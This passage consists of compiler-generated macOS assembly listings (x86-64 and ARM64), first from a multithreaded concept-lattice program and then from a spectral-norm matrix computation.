jmp LBB12_24 LBB12_14: movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rdi movq _thread_intents@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rsi movslq _int_count_a(%rip), %rax shlq $3, %rax addq %rax, %rsi xorl %r9d, %r9d movl $63, %ecx movl %r9d, %edx movl %r9d, %r8d callq _parallel_generate_from_node movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movq (%rax), %rcx movq %rcx, -32(%rbp) movl 8(%rax), %eax movl %eax, -24(%rbp) movq -32(%rbp), %rsi movl -24(%rbp), %edx movl $1, %edi callq _print_thread_info movl $1, -4(%rbp) LBB12_15: ## =>This Inner Loop Header: Depth=1 movl -4(%rbp), %eax movq _threads@GOTPCREL(%rip), %rcx cmpl (%rcx), %eax jge LBB12_20 ## %bb.16: ## in Loop: Header=BB12_15 Depth=1 movq _thread_id@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx cmpq $0, (%rax,%rcx,8) je LBB12_18 ## %bb.17: ## in Loop: Header=BB12_15 Depth=1 movq _thread_id@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx movq (%rax,%rcx,8), %rdi xorl %eax, %eax movl %eax, %esi callq _pthread_join LBB12_18: ## in Loop: Header=BB12_15 Depth=1 movl -4(%rbp), %edi addl $1, %edi movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movq (%rax), %rcx movq %rcx, -48(%rbp) movl 8(%rax), %eax movl %eax, -40(%rbp) movq -48(%rbp), %rsi movl -40(%rbp), %edx callq _print_thread_info movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl 4(%rax), %ecx movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax addl 4(%rax), %ecx movl %ecx, 4(%rax) movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movslq -4(%rbp), %rcx imulq $12, %rcx, %rcx addq %rcx, %rax movl (%rax), %ecx movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax addl (%rax), %ecx movl %ecx, (%rax) ## %bb.19: ## in Loop: Header=BB12_15 Depth=1 movl -4(%rbp), %eax addl $1, %eax movl %eax, -4(%rbp) jmp LBB12_15 LBB12_20: movq _initial_thr_stat@GOTPCREL(%rip), %rax movl 4(%rax), %ecx movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax addl 4(%rax), %ecx movl %ecx, 4(%rax) movq _initial_thr_stat@GOTPCREL(%rip), %rax movl (%rax), %ecx movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax addl (%rax), %ecx movl %ecx, (%rax) cmpl $3, _verbosity_level(%rip) jl LBB12_22 ## %bb.21: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl (%rax), %edx leaq L_.str.9(%rip), %rsi movb $0, %al callq _fprintf LBB12_22: cmpl $3, _verbosity_level(%rip) jl LBB12_24 ## %bb.23: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq _counts@GOTPCREL(%rip), %rax movq (%rax), %rax movl 4(%rax), %edx leaq L_.str.10(%rip), %rsi movb $0, %al callq _fprintf LBB12_24: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) movq ___stdinp@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _in_file@GOTPCREL(%rip), %rax movq %rcx, (%rax) movq ___stdoutp@GOTPCREL(%rip), %rax movq (%rax), %rcx movq _out_file@GOTPCREL(%rip), %rax movq %rcx, (%rax) cmpl $1, -8(%rbp) jle LBB13_21 ## %bb.1: movl $1, -20(%rbp) LBB13_2: ## =>This Inner Loop Header: Depth=1 movl -20(%rbp), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl -8(%rbp), %ecx movb %al, -21(%rbp) ## 1-byte Spill jge LBB13_5 ## %bb.3: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movsbl (%rax), %ecx xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $45, %ecx movb %al, -21(%rbp) ## 1-byte Spill jne LBB13_5 ## %bb.4: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movsbl 1(%rax), %eax cmpl $0, %eax setne %al movb %al, -21(%rbp) ## 1-byte Spill LBB13_5: ## in Loop: Header=BB13_2 Depth=1 movb -21(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB13_6 jmp LBB13_14 LBB13_6: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movsbl 1(%rax), %eax addl $-76, %eax movl %eax, %ecx movq %rcx, -32(%rbp) ## 8-byte Spill subl $10, %eax ja LBB13_11 ## %bb.27: ## in Loop: Header=BB13_2 Depth=1 movq -32(%rbp), %rax ## 8-byte Reload leaq LJTI13_0(%rip), %rcx movslq (%rcx,%rax,4), %rax addq %rcx, %rax jmpq *%rax LBB13_7: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rdi addq $2, %rdi callq _atoi movl %eax, _min_support(%rip) jmp LBB13_12 LBB13_8: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rdi addq $2, %rdi callq _atoi movl %eax, _cpus(%rip) jmp LBB13_12 LBB13_9: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rdi addq $2, %rdi callq _atoi subl $1, %eax movl %eax, _para_level(%rip) jmp LBB13_12 LBB13_10: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rdi addq $2, %rdi callq _atoi movl %eax, _verbosity_level(%rip) jmp LBB13_12 LBB13_11: ## in Loop: Header=BB13_2 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rdi addq $1, %rdi callq _atoi movl %eax, _attr_offset(%rip) LBB13_12: ## in Loop: Header=BB13_2 Depth=1 jmp LBB13_13 LBB13_13: ## in Loop: Header=BB13_2 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB13_2 LBB13_14: movl -8(%rbp), %eax cmpl -20(%rbp), %eax jle LBB13_17 ## %bb.15: movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rax movsbl (%rax), %eax cmpl $45, %eax je LBB13_17 ## %bb.16: movq -16(%rbp), %rax movslq -20(%rbp), %rcx movq (%rax,%rcx,8), %rdi leaq L_.str.11(%rip), %rsi callq _fopen movq %rax, %rcx movq _in_file@GOTPCREL(%rip), %rax movq %rcx, (%rax) LBB13_17: movl -8(%rbp), %eax movl -20(%rbp), %ecx addl $1, %ecx cmpl %ecx, %eax jle LBB13_20 ## %bb.18: movq -16(%rbp), %rax movl -20(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rax movsbl (%rax), %eax cmpl $45, %eax je LBB13_20 ## %bb.19: movq -16(%rbp), %rax movl -20(%rbp), %ecx addl $1, %ecx movslq %ecx, %rcx movq (%rax,%rcx,8), %rdi leaq L_.str.12(%rip), %rsi callq _fopen movq %rax, %rcx movq _out_file@GOTPCREL(%rip), %rax movq %rcx, (%rax) LBB13_20: jmp LBB13_21 LBB13_21: movq _in_file@GOTPCREL(%rip), %rax cmpq $0, (%rax) jne LBB13_23 ## %bb.22: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq (%rax), %rdx leaq L_.str.13(%rip), %rsi movb $0, %al callq _fprintf movl $1, -4(%rbp) jmp LBB13_26 LBB13_23: movq _out_file@GOTPCREL(%rip), %rax cmpq $0, (%rax) jne LBB13_25 ## %bb.24: movq ___stderrp@GOTPCREL(%rip), %rax movq (%rax), %rdi movq -16(%rbp), %rax movq (%rax), %rdx leaq L_.str.14(%rip), %rsi movb $0, %al callq _fprintf movl $2, -4(%rbp) jmp LBB13_26 LBB13_25: movq _in_file@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _read_context movq _in_file@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _fclose callq _print_context_info callq _initialize_algorithm callq _find_all_intents movq _out_file@GOTPCREL(%rip), %rax movq (%rax), %rdi callq _fclose movl $0, -4(%rbp) LBB13_26: movl -4(%rbp), %eax addq $32, %rsp popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L13_0_set_9, LBB13_9-LJTI13_0 .set L13_0_set_11, LBB13_11-LJTI13_0 .set L13_0_set_8, LBB13_8-LJTI13_0 .set L13_0_set_7, LBB13_7-LJTI13_0 .set L13_0_set_10, LBB13_10-LJTI13_0 LJTI13_0: .long L13_0_set_9 .long L13_0_set_11 .long L13_0_set_11 .long L13_0_set_11 .long L13_0_set_8 .long L13_0_set_11 .long L13_0_set_11 .long L13_0_set_7 .long L13_0_set_11 .long L13_0_set_11 .long L13_0_set_10 .end_data_region ## -- End function .globl _attributes ## @attributes .zerofill __DATA,__common,_attributes,4,2 .globl _objects ## @objects .zerofill __DATA,__common,_objects,4,2 .globl _int_count_a ## @int_count_a .zerofill __DATA,__common,_int_count_a,4,2 .globl _int_count_o ## @int_count_o .zerofill __DATA,__common,_int_count_o,4,2 .globl _table_entries ## @table_entries .zerofill __DATA,__common,_table_entries,4,2 .globl _min_support ## @min_support .zerofill __DATA,__common,_min_support,4,2 .globl _attr_offset ## @attr_offset .zerofill __DATA,__common,_attr_offset,4,2 .section __DATA,__data .globl _cpus ## @cpus .p2align 2 _cpus: .long 1 ## 0x1 .globl _para_level ## @para_level .p2align 2 _para_level: .long 2 ## 0x2 .globl _verbosity_level ## @verbosity_level .p2align 2 _verbosity_level: .long 1 ## 0x1 .globl _output_lock ## @output_lock .p2align 3 _output_lock: .quad 850045863 ## 0x32aaaba7 .space 56 .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Invalid input value: %i (minimum value is %i), quitting.\n" .comm _table_of_ints,8,3 ## @table_of_ints L_.str.1: ## @.str.1 .asciz "%i" L_.str.2: ## @.str.2 .asciz "Cannot allocate buffer, quitting.\n" L_.str.3: ## @.str.3 .asciz "Cannot reallocate buffer, quitting.\n" .comm _context,8,3 ## @context L_.str.4: ## @.str.4 .asciz "Cannot allocate bitcontext, quitting.\n" .comm _out_file,8,3 ## @out_file L_.str.5: ## @.str.5 .asciz "(:objects %6i :attributes %4i :entries %8i)\n" L_.str.6: ## @.str.6 .asciz "(:proc %3i :closures %7i :computed %7i :queue-length %3i)\n" L_.str.7: ## @.str.7 .asciz "(:proc %3i :closures %7i :computed %7i :levels %i :last-level-concepts %i)\n" .comm _upto_bit,512,4 ## @upto_bit .comm _cols,8,3 ## @cols .comm _supps,8,3 ## @supps .comm _counts,8,3 ## @counts .comm _thread_queue_head,8,3 ## @thread_queue_head .comm _thread_queue,8,3 ## @thread_queue .comm _thread_intents,8,3 ## @thread_intents .zerofill __DATA,__bss,_parallel_generate_from_node.num,4,2 ## @parallel_generate_from_node.num .comm _threads,4,2 ## @threads .comm _thread_queue_limit,8,3 ## @thread_queue_limit .comm _initial_thr_stat,12,2 ## @initial_thr_stat .comm _thread_id,8,3 ## @thread_id .comm _thread_i,8,3 ## @thread_i L_.str.8: ## @.str.8 .asciz "INFO: running in %i threads\n" L_.str.9: ## @.str.9 .asciz "INFO: total %7i closures\n" L_.str.10: ## @.str.10 .asciz "INFO: total %7i concepts\n" .comm _in_file,8,3 ## @in_file L_.str.11: ## @.str.11 .asciz "rb" L_.str.12: ## @.str.12 .asciz "wb" L_.str.13: ## @.str.13 .asciz "%s: cannot open input data stream\n" L_.str.14: ## @.str.14 .asciz "%s: open output data stream\n" .subsections_via_symbols
the_stack_data/144606.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _eval_A ; -- Begin function eval_A .p2align 2 _eval_A: ; @eval_A .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 str w0, [sp, #12] str w1, [sp, #8] ldr w8, [sp, #12] ldr w9, [sp, #8] add w8, w8, w9 ldr w9, [sp, #12] ldr w10, [sp, #8] add w9, w9, w10 add w9, w9, #1 mul w8, w8, w9 mov w9, #2 sdiv w8, w8, w9 ldr w9, [sp, #12] add w8, w8, w9 add w8, w8, #1 scvtf d1, w8 fmov d0, #1.00000000 fdiv d0, d0, d1 add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _eval_A_times_u ; -- Begin function eval_A_times_u .p2align 2 _eval_A_times_u: ; @eval_A_times_u .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] str wzr, [sp, #12] b LBB1_1 LBB1_1: ; =>This Loop Header: Depth=1 ; Child Loop BB1_3 Depth 2 ldr w8, [sp, #12] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB1_8 b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 ldr x8, [sp, #16] ldrsw x9, [sp, #12] movi d0, #0000000000000000 str d0, [x8, x9, lsl #3] str wzr, [sp, #8] b LBB1_3 LBB1_3: ; Parent Loop BB1_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #8] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB1_6 b LBB1_4 LBB1_4: ; in Loop: Header=BB1_3 Depth=2 ldr w0, [sp, #12] ldr w1, [sp, #8] bl _eval_A ldur x8, [x29, #-8] ldrsw x9, [sp, #8] ldr d1, [x8, x9, lsl #3] ldr x8, [sp, #16] ldrsw x9, [sp, #12] add x8, x8, x9, lsl #3 ldr d2, [x8] fmadd d0, d0, d1, d2 str d0, [x8] b LBB1_5 LBB1_5: ; in Loop: Header=BB1_3 Depth=2 ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB1_3 LBB1_6: ; in Loop: Header=BB1_1 Depth=1 b LBB1_7 LBB1_7: ; in Loop: Header=BB1_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB1_1 LBB1_8: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _eval_At_times_u ; -- Begin function eval_At_times_u .p2align 2 _eval_At_times_u: ; @eval_At_times_u .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] str wzr, [sp, #12] b LBB2_1 LBB2_1: ; =>This Loop Header: Depth=1 ; Child Loop BB2_3 Depth 2 ldr w8, [sp, #12] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB2_8 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr x8, [sp, #16] ldrsw x9, [sp, #12] movi d0, #0000000000000000 str d0, [x8, x9, lsl #3] str wzr, [sp, #8] b LBB2_3 LBB2_3: ; Parent Loop BB2_1 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #8] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB2_6 b LBB2_4 LBB2_4: ; in Loop: Header=BB2_3 Depth=2 ldr w0, [sp, #8] ldr w1, [sp, #12] bl _eval_A ldur x8, [x29, #-8] ldrsw x9, [sp, #8] ldr d1, [x8, x9, lsl #3] ldr x8, [sp, #16] ldrsw x9, [sp, #12] add x8, x8, x9, lsl #3 ldr d2, [x8] fmadd d0, d0, d1, d2 str d0, [x8] b LBB2_5 LBB2_5: ; in Loop: Header=BB2_3 Depth=2 ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB2_3 LBB2_6: ; in Loop: Header=BB2_1 Depth=1 b LBB2_7 LBB2_7: ; in Loop: Header=BB2_1 Depth=1 ldr w8, [sp, #12] add w8, w8, #1 str w8, [sp, #12] b LBB2_1 LBB2_8: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _eval_AtA_times_u ; -- Begin function eval_AtA_times_u .p2align 2 _eval_AtA_times_u: ; @eval_AtA_times_u .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] ldur x0, [x29, #-8] adrp x1, _eval_AtA_times_u.v@PAGE add x1, x1, _eval_AtA_times_u.v@PAGEOFF str x1, [sp, #8] ; 8-byte Folded Spill bl _eval_A_times_u ldr x0, [sp, #8] ; 8-byte Folded Reload ldr x1, [sp, #16] bl _eval_At_times_u ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w27, -24 .cfi_offset w28, -32 sub sp, sp, #1648 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-24] str wzr, [sp, #36] str wzr, [sp, #32] b LBB4_1 LBB4_1: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #32] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB4_4 b LBB4_2 LBB4_2: ; in Loop: Header=BB4_1 Depth=1 ldrsw x9, [sp, #32] add x8, sp, #840 fmov d0, #1.00000000 str d0, [x8, x9, lsl #3] b LBB4_3 LBB4_3: ; in Loop: Header=BB4_1 Depth=1 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] b LBB4_1 LBB4_4: str wzr, [sp, #32] b LBB4_5 LBB4_5: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #32] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB4_8 b LBB4_6 LBB4_6: ; in Loop: Header=BB4_5 Depth=1 add x0, sp, #840 str x0, [sp, #8] ; 8-byte Folded Spill add x1, sp, #40 str x1, [sp] ; 8-byte Folded Spill bl _eval_AtA_times_u ldr x0, [sp] ; 8-byte Folded Reload ldr x1, [sp, #8] ; 8-byte Folded Reload bl _eval_AtA_times_u b LBB4_7 LBB4_7: ; in Loop: Header=BB4_5 Depth=1 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] b LBB4_5 LBB4_8: movi d0, #0000000000000000 str d0, [sp, #16] str d0, [sp, #24] str wzr, [sp, #32] b LBB4_9 LBB4_9: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #32] subs w8, w8, #100 cset w8, ge tbnz w8, #0, LBB4_12 b LBB4_10 LBB4_10: ; in Loop: Header=BB4_9 Depth=1 ldrsw x9, [sp, #32] add x8, sp, #840 ldr d0, [x8, x9, lsl #3] ldrsw x9, [sp, #32] add x8, sp, #40 ldr d1, [x8, x9, lsl #3] ldr d2, [sp, #24] fmadd d0, d0, d1, d2 str d0, [sp, #24] ldrsw x9, [sp, #32] ldr d0, [x8, x9, lsl #3] ldrsw x9, [sp, #32] ldr d1, [x8, x9, lsl #3] ldr d2, [sp, #16] fmadd d0, d0, d1, d2 str d0, [sp, #16] b LBB4_11 LBB4_11: ; in Loop: Header=BB4_9 Depth=1 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] b LBB4_9 LBB4_12: ldur x9, [x29, #-24] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB4_14 b LBB4_13 LBB4_13: bl ___stack_chk_fail LBB4_14: mov w0, #0 add sp, sp, #1648 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .zerofill __DATA,__bss,_eval_AtA_times_u.v,800,3 ; @eval_AtA_times_u.v .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function eval_A LCPI0_0: .quad 0x3ff0000000000000 ## double 1 .section __TEXT,__text,regular,pure_instructions .globl _eval_A .p2align 4, 0x90 _eval_A: ## @eval_A .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl -4(%rbp), %eax addl -8(%rbp), %eax movl -4(%rbp), %ecx addl -8(%rbp), %ecx addl $1, %ecx imull %ecx, %eax movl $2, %ecx cltd idivl %ecx addl -4(%rbp), %eax addl $1, %eax cvtsi2sd %eax, %xmm1 movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero divsd %xmm1, %xmm0 popq %rbp retq .cfi_endproc ## -- End function .globl _eval_A_times_u ## -- Begin function eval_A_times_u .p2align 4, 0x90 _eval_A_times_u: ## @eval_A_times_u .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl $0, -20(%rbp) LBB1_1: ## =>This Loop Header: Depth=1 ## Child Loop BB1_3 Depth 2 cmpl $100, -20(%rbp) jge LBB1_8 ## %bb.2: ## in Loop: Header=BB1_1 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx xorps %xmm0, %xmm0 movsd %xmm0, (%rax,%rcx,8) movl $0, -24(%rbp) LBB1_3: ## Parent Loop BB1_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $100, -24(%rbp) jge LBB1_6 ## %bb.4: ## in Loop: Header=BB1_3 Depth=2 movl -20(%rbp), %edi movl -24(%rbp), %esi callq _eval_A movq -8(%rbp), %rax movslq -24(%rbp), %rcx movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero movq -16(%rbp), %rax movslq -20(%rbp), %rcx movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd %xmm0, (%rax,%rcx,8) ## %bb.5: ## in Loop: Header=BB1_3 Depth=2 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB1_3 LBB1_6: ## in Loop: Header=BB1_1 Depth=1 jmp LBB1_7 LBB1_7: ## in Loop: Header=BB1_1 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB1_1 LBB1_8: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _eval_At_times_u ## -- Begin function eval_At_times_u .p2align 4, 0x90 _eval_At_times_u: ## @eval_At_times_u .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movl $0, -20(%rbp) LBB2_1: ## =>This Loop Header: Depth=1 ## Child Loop BB2_3 Depth 2 cmpl $100, -20(%rbp) jge LBB2_8 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -16(%rbp), %rax movslq -20(%rbp), %rcx xorps %xmm0, %xmm0 movsd %xmm0, (%rax,%rcx,8) movl $0, -24(%rbp) LBB2_3: ## Parent Loop BB2_1 Depth=1 ## => This Inner Loop Header: Depth=2 cmpl $100, -24(%rbp) jge LBB2_6 ## %bb.4: ## in Loop: Header=BB2_3 Depth=2 movl -24(%rbp), %edi movl -20(%rbp), %esi callq _eval_A movq -8(%rbp), %rax movslq -24(%rbp), %rcx movsd (%rax,%rcx,8), %xmm2 ## xmm2 = mem[0],zero movq -16(%rbp), %rax movslq -20(%rbp), %rcx movsd (%rax,%rcx,8), %xmm1 ## xmm1 = mem[0],zero mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd %xmm0, (%rax,%rcx,8) ## %bb.5: ## in Loop: Header=BB2_3 Depth=2 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB2_3 LBB2_6: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_7 LBB2_7: ## in Loop: Header=BB2_1 Depth=1 movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) jmp LBB2_1 LBB2_8: addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _eval_AtA_times_u ## -- Begin function eval_AtA_times_u .p2align 4, 0x90 _eval_AtA_times_u: ## @eval_AtA_times_u .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rdi leaq _eval_AtA_times_u.v(%rip), %rsi callq _eval_A_times_u movq -16(%rbp), %rsi leaq _eval_AtA_times_u.v(%rip), %rdi callq _eval_At_times_u addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function main LCPI4_0: .quad 0x3ff0000000000000 ## double 1 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $1648, %rsp ## imm = 0x670 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -8(%rbp) movl $0, -1620(%rbp) movl $0, -1624(%rbp) LBB4_1: ## =>This Inner Loop Header: Depth=1 cmpl $100, -1624(%rbp) jge LBB4_4 ## %bb.2: ## in Loop: Header=BB4_1 Depth=1 movslq -1624(%rbp), %rax movsd LCPI4_0(%rip), %xmm0 ## xmm0 = mem[0],zero movsd %xmm0, -816(%rbp,%rax,8) ## %bb.3: ## in Loop: Header=BB4_1 Depth=1 movl -1624(%rbp), %eax addl $1, %eax movl %eax, -1624(%rbp) jmp LBB4_1 LBB4_4: movl $0, -1624(%rbp) LBB4_5: ## =>This Inner Loop Header: Depth=1 cmpl $10, -1624(%rbp) jge LBB4_8 ## %bb.6: ## in Loop: Header=BB4_5 Depth=1 leaq -816(%rbp), %rdi leaq -1616(%rbp), %rsi callq _eval_AtA_times_u leaq -1616(%rbp), %rdi leaq -816(%rbp), %rsi callq _eval_AtA_times_u ## %bb.7: ## in Loop: Header=BB4_5 Depth=1 movl -1624(%rbp), %eax addl $1, %eax movl %eax, -1624(%rbp) jmp LBB4_5 LBB4_8: xorps %xmm0, %xmm0 movsd %xmm0, -1640(%rbp) xorps %xmm0, %xmm0 movsd %xmm0, -1632(%rbp) movl $0, -1624(%rbp) LBB4_9: ## =>This Inner Loop Header: Depth=1 cmpl $100, -1624(%rbp) jge LBB4_12 ## %bb.10: ## in Loop: Header=BB4_9 Depth=1 movslq -1624(%rbp), %rax movsd -816(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero movslq -1624(%rbp), %rax movsd -1616(%rbp,%rax,8), %xmm2 ## xmm2 = mem[0],zero movsd -1632(%rbp), %xmm1 ## xmm1 = mem[0],zero mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd %xmm0, -1632(%rbp) movslq -1624(%rbp), %rax movsd -1616(%rbp,%rax,8), %xmm0 ## xmm0 = mem[0],zero movslq -1624(%rbp), %rax movsd -1616(%rbp,%rax,8), %xmm2 ## xmm2 = mem[0],zero movsd -1640(%rbp), %xmm1 ## xmm1 = mem[0],zero mulsd %xmm2, %xmm0 addsd %xmm1, %xmm0 movsd %xmm0, -1640(%rbp) ## %bb.11: ## in Loop: Header=BB4_9 Depth=1 movl -1624(%rbp), %eax addl $1, %eax movl %eax, -1624(%rbp) jmp LBB4_9 LBB4_12: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq -8(%rbp), %rcx cmpq %rcx, %rax jne LBB4_14 ## %bb.13: xorl %eax, %eax addq $1648, %rsp ## imm = 0x670 popq %rbp retq LBB4_14: callq ___stack_chk_fail ud2 .cfi_endproc ## -- End function .zerofill __DATA,__bss,_eval_AtA_times_u.v,800,4 ## 